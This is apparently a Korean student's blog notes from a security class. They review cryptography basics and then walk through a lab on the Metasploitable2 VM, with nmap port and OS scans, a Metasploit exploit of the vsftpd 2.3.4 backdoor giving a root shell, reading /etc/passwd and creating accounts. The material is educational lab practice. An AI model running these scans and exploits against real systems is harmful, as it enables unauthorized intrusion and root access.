공부/시스템,네트워크 보안

9월 20일 시스템/네트워크 보안 4

마준123 2022. 9. 20. 17:14

 지난시간 복습

 

 * 암호화를 하는 이유 

 = 기밀성 ( Confidentiality ) : 내용이 노출되지 않도록 하는 것

 = 무결성 ( integrity ) : 내용이 변조되지 않도록 하는 것

 = 인증 ( Authentication ) : 올바른 사용자임을 증명하는 것

 = 부인봉쇄 : 아니라고 하지 못하게 하는 것

 

 * 대칭키 ( Symmetric Key ) = Secret Key = Session Key

 = 암호화키와 복호화키가 서로 대칭을 이룸 ----> 사실상 하나의 키

 = Feistel구조 : Lucifer, DES, 3DES 등등

 = SPN구조 : ( 치환과 전치의 반복 ) : AES ( Rijindael, 리인델 )   

              ( Feistel구조와 SPN구조 둘다 대칭키지만 요즘은 SPN구조를 더 많이 사용 )

 = 대칭키의 문제점 : 키 전달의 문제, 키 개수의 문제

 

 * 공개키 방식

 = 개인키 ( Private Key ) 와 공개키 ( Public Key ) 한쌍으로 이루어져 있음

 = 개인키는 자기 혼자만 보유, 공개키는 누구에게나 제공해도 됨

 = 개인키로 공개키를 연산해 내는 것은 쉬운데, 공개키로 개인키를 알아내는 것은 불가능

 

 1) Diffie - Hellman

 = 대칭키 교환 문제를 해결 : 서로 공개키를 교환하고, 자신의 개인키와 연산해서 대칭키 ( 세션키 )를 생성해 냄

 = 이산대수의 어려움에 근거 : 한쪽방향으로는 계산하기 쉬움 ( 검증 ), 반대방향으로는 계산하기 어려움

 

 2) RSA ( Rivest, Shamir, Adleman )

 = 기밀성 : 수신자의 공개키로 암호화 해서 보냄

 = 인증 : 송신자의 개인키로 암호화해서 보냄

 = 소인수 분해의 어려움을 이용   ex ) 13 * 7 = 91 ( 알기 쉬움 ) ,  91 = X * Y ( 알아내기 어려움 )

 

 3) ECC ( Elliptic Curve Cryptography, 타원곡선 암호화 )

 = 이산대수의 어려움에 근거한 방식

 = 짧은 키 길이로 강력한 암호화를 제공함 ( 키가 길어질수록 연산량이 많아짐 --> CPU/ Memory/ Power 소모량 증가 )

 = Mobile 환경에 적합함 ( 그래서 유튜브나 인스타그램 같은곳 들어가면 타원곡선을 쓰고있다. )

유튜브의 보안 세부정보

 

 * Hash Function

 1) 고정길이 출력 : 원문의 길이와 관계없이 고정 길이로 출력됨

 2) 일방향 함수 : 원문으로 해시값을 계산하는 것은 매우 쉽지만, 해시값으로 원문을 알아내는 것은 거의 불가능

 3) 충돌 방지 : 해시값이 같은 원문은 거의 존재하지 않음 

        = 하지만 취약한 해시함수가 있긴있다 : MD5, SHA - 1   ------>   더이상 사용하면 안됨 ( 충돌쌍이 발견됨 )

        = 안전한 해시함수 : SHA - 256 이상을 사용해야 함   ex ) SHA-2(256) 사용사례 : Bitcoin, 공동인증서 등등

 4) 전자서명

 = 생성 : 원문에 해시값에 송신자의 개인키로 암호화 ( 서명 ) 해서 원문에 붙여서 보냄 

 = 검증 : 서명된 해시값을 송신자의 공개키로 복호화해서 원문의 해시값과 비교해봄 ---> 일치하면 무결성 증명, 일치하지 않으면 변조

 

 * 인증서 ( Certificate )

 = 생성 : 공개키의 해시값에 인증기관의 개인키로 암호화 ( 서명 )

 = 검증 : 서명된 해시값을 인증기관의 공개키로 복호화 해서 공개키의 해시값과 비교해봄

 

 * PKI

 = 최상위 인증기관 ( Root CA ) : 인증기관을 관리 ( 우리나라로 치면 KISA )

 = 인증기관 ( CA ) : 인증서를 발급하는 곳 

 = 등록기관 ( RA ) : 인증서를 신청한 조직 ( 회사, 기관 등 ) 을 검증하고 접수를 받음

 

 * RSA의 특징

  BOSS ( 개인키, 공개키 )                        Killer ( 개인키, 공개키 )

 

 1) 기밀성 방식

 " Ninja를 죽여라 " 라는 메시지를 Killer만 보게 하려면? Killer의 공개키로 암호화 해서 보냄 --> Killer는 자신의 개인키로 복호화를 함 ( Killer만 볼 수 있음 ) : 비밀리에 Killer만 보았지만, Boss가 보냈다는 확신이 없음.

 

 2) 인증 방식

" Ninja를 죽여라 " 라는 메시지를 Boss의 개인키로 암호화를 해서 보냄

         --> 분명히 Boss가 보낸게 맞음 ( Boss의 공개키로 복호화가 되지 때문에 Boss의 개인키로 암호화 했다는 증거임 )

 Killer 는 Ninja를 죽였을까요?  --> Ninja도 Boss 공개키가 있기 때문에 복호화가 가능해서 모든것을 알고 있었음~

 

 * SSL/TLS

 = 웹에서 암호화 통신을 하기 위해 사용하는 프로토콜 집합

 = 대칭키, 공개키, 해시함수도 사용 ------> Web Browser와 Web Server가 어떤 암호화 방식을 사용할건지 협의 ( 우선순위가 있음 )

 = 핵심 원리

   웹서버가 자신의 공개키를 인증서 형식으로 제공

   웹브라우저는 세션키를 생성해서 웹서버의 공개키로 암호화를 해서 웹서버에게 보냄 ---> 웹서버는 자신의 개인 키로 복호화 ( 세션키 나옴 )

   웹브라우저와 웹서버는 데이터를 보낼때 세션키로 암호화 해서 보냄 ---> 상대방에게 받은 암호문은 세션키로 복호화를 함

 

-------------------------------------------------------------------------------------------------------------------------------------------------------------

 

 * 자가서명 인증서 만드는 방법 : https://wnw1005.tistory.com/457

 

-------------------------------------------------------------------------------------------------------------------------------------

 

 * 전자봉투

 = 생성 : 원문의 해시값에 송신자의 개인키로 서명하고 원문 및 송신자의 공개키 까지 첨부해서 세션키로 암호화함. 세션키는 수신자의 공개키로 암호화해서 첨부    ----> 오프라인으로 USB, 이메일, 채팅으로 보내도됨

 = 특징 : 기밀성, 무결성, 송신자에 대한 인증 및 부인봉쇄까지 모두 가능함

 

 * 최근의 이슈

 = AES의 키 길이의 문제 : 컴퓨터의 발전으로 크래킹 시간이 줄어들고 있음  ----> AES 128bit 안정성에 문제

 = RSA 2048bit 이상을 사용해야 함

    RSA512bit에서 RSA1024bit로 업그레이드 : 2004년

    RSA1024bit를 RSA2048bit로 업그레이드 : 2012년

    RSA4096bit는 대략 2028년쯤 해야 하지 않을까 의심 ( 양자 컴퓨터의 발달로 더 빨라질지도 ㅎ 개인생각 )

    ------------------> 키를 계속 늘릴 수는 없기 때문에 ECC를 사용

    ECC160bit 가 RSA1024bit와 거의 비슷한 암호화 강도를 제공

    --------> 최근에는 ECC256bit 사용중 ( Youtube, Instagram, Facebook 등 )

 

 * 랜섬웨어들이 대부분 RSA2048bit를 사용해서 암호화를 함

 = 랜섬웨어 실행파일에 무엇이 들어있을까요?  공격자의 공개키가 들어있어서 파일을 공개키로 암호화함

 = 암호화했던 공개키에 대한 개인키를 돈받고 주겠다는 것!

 = 대응방법 : 오프라인 백업 ( 외장하드 ), 온라인 백업 ( 클라우드에 업로드 )

 

 * 랜섬웨어가 대칭키로 암호화를 하면???

 = 악성코드 실행파일 안에 대칭키가 있을 것임 ---> 그 키만 찾으면 복호화가 가능함

 

 * 가상화폐는 주로 해시의 원리를 이용 ex ) SHA - 256bit

 = 앞 블록에 대한 해시값을 다음 블록의 헤더에 포함시킴 ---> chain

 = 중간 블럭을 바꿀 수 없음 ( 내용을 바꿀 수 없음 ) ----> 무결성 검증

 = 기밀성은 제공하기 어려움 : 블럭 안에 거래내역이 모두 들어있음 ---> 채굴기를 설치하면 모든 블럭을 다 볼수 있음

 

----------------------------------------------------------------------------------------------------------------------------------

 

 * 클라우드 환경은 대부분 리눅스

 = IT를 잘하려면 리눅스, 네트워크, 데이터베이스를 알아야함

 

 * Asset ( 자산 )

 = 유형자산 : 컴퓨터, 회사건물, 공장, 인력, 고객 등

 = 무형자산 : 브랜드이미지, 데이터, 저작권, 특허, 평판 등등

 = 자산에는 약점이 존재

       ex ) 현금, 보석, 무기명채권, 콜드월렛 등은 물리적인 보안 문제를 갖고있다.

 

 * 취약점은 특정 버전에만 존재하는 것

 = 취약점이 존재하면 패치를 적용하면 해결됨 ----> 버전이 달라짐

 = 취약점 분석은 어떤 버전인지만 알면됨 + 그 버전에서 가지고 있는 취약점이 무엇인지

    어떤 버전인지 확인 ( 진단기능 ) : SW로 해결

    그 버전에서 가지고 있는 취약점이 무엇인지 ( 지식 ) : 클라우드에서 해결 가능, 검색 ( 모르면 구글 ) 

 

 * Zeroday Exploit 

 = 패치가 배포되기 전에, Exploit code를 먼저 만들어서 공격하는 사례

 = 무방비 상태에서 공격 가능, 대응할 방법이 없는 상태임

 = 알려지지 않은 취약점 이라는 의미 ----> DarkWeb에서 거래가 되기도 함

 

     Scarcruft ( 북한 해킹그룹 ) 은 DarkWeb에서 Adobe Flash 취약점을 사다 공격했다고 함

 

 * Oneday Exploit

 = 알려진 취약점, 패치가 배포되었지만 아직 설치하지 않은 상태 ( 호환성, 의존성 문제로 동작에 영향이 있을까봐 우려되어서 아직 설치하지 않은 상태 )

 = 패치를 설치하지 않은 시스템만 골라서 공격 가능함

 = 알려진 취약점 -----> 공격 방법도 대부분 유튜브,블로그,SNS에 나와있음

 

 * 약점 공식 번호 : CWE - nnnnn

 = CWE : Common Weakness Enumeration ( 보편적인 약점 목록화 )

 = https://cwe.mitre.org/ : 약점을 관리하는 공식기관

 

 * 취약점 공식 번호 : CVE - YYYY - NNNNnnn

 = YYYY년도 4자리 ---> 언제 발견된 것인지 확인

 = NNNN ( 4자리부터 ) ~ NNNNnnn (7자리까지 ) 번호를 부여함

 =  https://cve.mitre.org/ : 취약점을 관리하는 공식기관  ---> cve.org 로 이전한다고 나오는중

 

-------------------------------------------------------------------------------------

 

취약점 사례 분석 ) 프린트 나이트메어 취약점 

https://www.boannews.com/media/view.asp?idx=98833 

프린트 나이트메어 취약점은 CVE - 2021 - 1675 아니고 제로데이

 -----> 패치로 해결되지 않았기 때문

 

실습준비 )

 = 구글 - metasploitable2 -  metasploitable-linux-2.0.0.zip 다운

       ( https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ )

 = 압축풀고 VM 으로 실행

 = ID : msfadmin / PW : msfadmin

 

 * Metasploitable2 는 무엇이냐?!

 = 각종 취약한 버전을 골라서 설치한 Victim 실습 이미지 ----> exploit 가능

 = Rapid7 이라는 회사에서 Metasploit ( 공격도구 ) 를 팔고 있는데, 테스트 해보기 위해서 Metasploitable2를 만듦

 

새로운 계정을 만듬 ID : ive / PW : after

$ sudo adduser ive                 // adduser를 사용하면 마법사를 이용해서 PW, 전화번호 등등 많이 물어봄

      PW : after

로 계정을 만들었다.

 

이 외에 

ID : aespa

PW : illusion

ID : nct

PW : intheair

도 만들었다 또한

 

$ sudo useradd astro            // adduser 와 다르게 계정만 만듦, 홈 디렉터리를 만들지 않음 -----> FTP를 사용할 수 없음

$ sudo passwd astro

         PW : candy

 

 * 계정을 만든 이유 : Eploit를 한 후에 계정을 크래킹 할 에정

 

 * 칼리 실행!

 = 시작 : 피닉스 아이콘 - 08 Exploitation Tools - Metasploit Framework 클릭

2230 exploits : 취약점 공격 모듈 ( 2230개 라는 뜻 )

867 payloads : Exploit 이후의 연결 방법 ( 익스플로잇이 성공한 후에 타겟 머신에 실행할 코드 )

 

 * IP 스캔

 - 켜져있는 시스템을 확인

$ sudo nmap -sn 192.168.5.129-140

  ( -s : scan, n : number )

 

$ sudo nmap -sn 192.168.5.129-140
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-20 02:55 EDT
Nmap scan report for 192.168.5.129     //칼리의 아이피
Host is up.
Nmap scan report for 192.168.5.132     //타겟의 아이피 ( 메타 스플로잇 )
Host is up (0.00043s latency).
MAC Address: 00:0C:29:F2:E2:02 (VMware)
Nmap done: 12 IP addresses (2 hosts up) scanned in 1.35 seconds

 

*Port Scan

 1. TCP scan

 = 3Way Handshaking을 완성하는 스캐닝 ---> 로그가 남기 때문에 공격자는 잘 하지 않는 스캐닝임

$ sudo nmap -sT 192.168.5.132                       // -s : sacn, T : TCP

 

 2. SYN scan

 = 3Way Handshaking을 완성하지 않는 스캐닝 ( SYN만 보내고 ACK를 보내지 않는 기법 )

$ sudo nmap -sS 192.168.5.132

$ sudo nmap -sS 192.168.5.132 -p 1-20000    // 스캔 범위 지정 가능

 

 3. UDP scan

 = 실행중인 UDP 서비스를 확인하는 스캐닝

$ sudo nmap -sU 192.168.5.132

 

 4. OS scan

 = 운영체제의 종류를 파악하기 위한 스캐닝 ( -s 옵션은 없음 )

$ sudo nmap -O 192.168.5.132

 

 * 엉터리 스캔 ( Stealth scan )

 = TCP / IP 의 논리에 맞지 않는 스캐닝 기법

 = 열린 포트는 응답하지 않음, 닫힌 포트는 RST를 보냄 ---> 열린포트와 닫힌 포트 구분 가능

 =  X -mas, FIN, Null 세가지 스캔 방식이 있음

 

 5. X - mas scan

 = 크리스마스에는 창고에 있던 전구를 꺼내서 켬

 = TCP Flag를 모두 1로 만들어서 보내는 공격인데, nmap에서는 FIN/URG/PSH만 활성화함

$ sudo nmap -sX 192.168.5.132

 

 6. FIN scan

 = FIN ( 종료 요청 ) 을 보내면 열린 포트는 응답 없음, 닫힌 포트는 RST를 보냄

$ sudo nmap -sF 192.168.5.132

 

 7. Null scan

 = TCP Flag를 모두 0으로 만들어서 보내는 스캔

$ sudo nmap -sN 192.168.5.132

 

 8. Version scan

 = 버전을 알면, 취약점도 알 수 있음 

$ sudo nmap -sV 192.168.5.132

 

 9. All scan ( 여러가지를 하므로 시간이 좀 더 걸림, 그래서 뒤에 -T4를 붙임, 필수 아님 )

 = Script scan + OS scan + Traceroute + Version scan

$ sudo nmap -A 192.168.5.132 -T4                              // -T : Timing, 0~6까지 숫자 사용 가능, 클수록 속도 빠름, 빠르면 놓치는게 있을 수 있음

 

 * 21번 포트는 FTP 서비스를 실행하고 있음.

-------> vsftpd 2.3.4 라는 버전을 사용하고 있음 : Backdoor Command가 실행되는 취약점을 가지고 있음.

 

 * 이제 칼리에서 Metasploit을 사용했던 탭으로 와서

msf6 > search vsftpd               // 취약점 검색

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor // 나온거 사용

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.132  // Target Host 지정

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit // 공격 시작

Command shell session 1 opened // 연결 성공!

whoami 와 ip addr로 확인해보는 모습 // 연결이 되었다.

 

cat /etc/passwd // 계정 확인

아까 만든 계정을 확인 할 수 있다.

 

cd /home/nct
ls
ll
sh: line 14: ll: command not found
touch nct.txt // touch는 파일을 만드는 명령
echo "nct is very famoun" >> nct.txt  // echo "  " 의 내용을 nct..txt에 넣음
ls
nct.txt

 * 메타스플로잇에서 

메타스플로잇 에서도 만든걸 확인해 볼 수 있다.

 

 * vsFTP의 2.3.4 버전에 Backdoor 명령이 실행되는 취약점이 존재하기 때문

 = Exploit를 해서 취약점을 공격했더니, Shell 권한을 가질 수 있었음 ( root 권한으로 )

 = root 이므로 계정 생성도 가능

   useradd blackpink  // 블랙핑크 게정이 만들어진다 

 

연결을 끊으려면, ctrl + c 를 누른다

그리고 y를 누르고 back을 입력하면 초기 상태로 다시 돌아가게 된다.

 

vsftpd를 실행한 권한이 root권한이었기 때문에, 취약점 공격에 성공하면, 공격자에게 root 권한이 주어짐

 

★ 정리 ★
1단계 : nmap을 이용해서 Target host를 스캐닝
  $ sudo  nmap  -A  192.168.5.131
2단계 : 버전 확인 -----> 구글에서 취약점 확인
3단계 : 스크립트로 확인(진짜로 공격이 가능한지)  // 스크립트 확인은 밑에서 할 예정
4단계 : Metasploit으로 공격이 실제로 가능한지 확인

 

 * Script Scanning

 = 칼리 - nmap을 사용했던 두번째 탭 클릭

$ cd /usr/share/nmap/scripts

$ ls

$ ls -l | wc -l  //파일의 개수를 세는 명령 ( wc : word count )  // 606개 나옴

$ sudo find . -name "*vsftp*"  //   .은 현재 디렉토리, -name 이름을 검색  *vsftp* ---> 중간에 vsftp가 들어간 파일을 모두 찾음

     -----> ./ftp-vsftpd-backdoor.nse

$ sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.132 -p21  // 스크립트를 활용한 취약점 진단 ( 상당히 정확함! )

 

중간에 VULNERABLE(취약한)이라고 취약하다고 알려줌

그리고 그 밑에 CVE 번호도 보인다